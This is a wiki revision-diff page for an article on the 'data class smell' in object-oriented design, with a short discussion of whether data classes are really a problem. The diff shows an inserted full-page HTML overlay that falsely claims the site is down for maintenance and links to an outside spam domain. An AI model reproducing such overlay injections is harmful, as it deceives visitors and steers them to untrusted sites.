Data class smell

From CSSEMediaWiki
(Difference between revisions)
Jump to: navigation, search
(Validity)
Line 1: Line 1:
 +
----
 +
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 +
----
 +
=[http://imygijesusy.co.cc Page Is Unavailable Due To Site Maintenance, Please Visit Reserve Copy Page]=
 +
----
 +
=[http://imygijesusy.co.cc CLICK HERE]=
 +
----
 +
</div>
 
The data class smell is present where a class has only fields, getters, setters and nothing else. It lacks the behaviours that make it a proper, stand-alone class (and consequently, the instantiated object).
 
The data class smell is present where a class has only fields, getters, setters and nothing else. It lacks the behaviours that make it a proper, stand-alone class (and consequently, the instantiated object).
  

Revision as of 10:45, 24 November 2010


The data class smell is present where a class has only fields, getters, setters and nothing else. It lacks the behaviours that make it a proper, stand-alone class (and consequently, the instantiated object).

Validity

What exactly is wrong with data classes? Data classes always seemed useful and necessary to me - for example, geometric constructs such as points and vectors (Have you tried types ? Are you using the right language ? (Let's move this to the discussion page, chaps --Lukas Korsika 00:32, 21 October 2010 (UTC) )). Data classes can definitely be misused, but I don't think this smell should be considered an automatic refactoring job.

Refactoring techniques

See also


Personal tools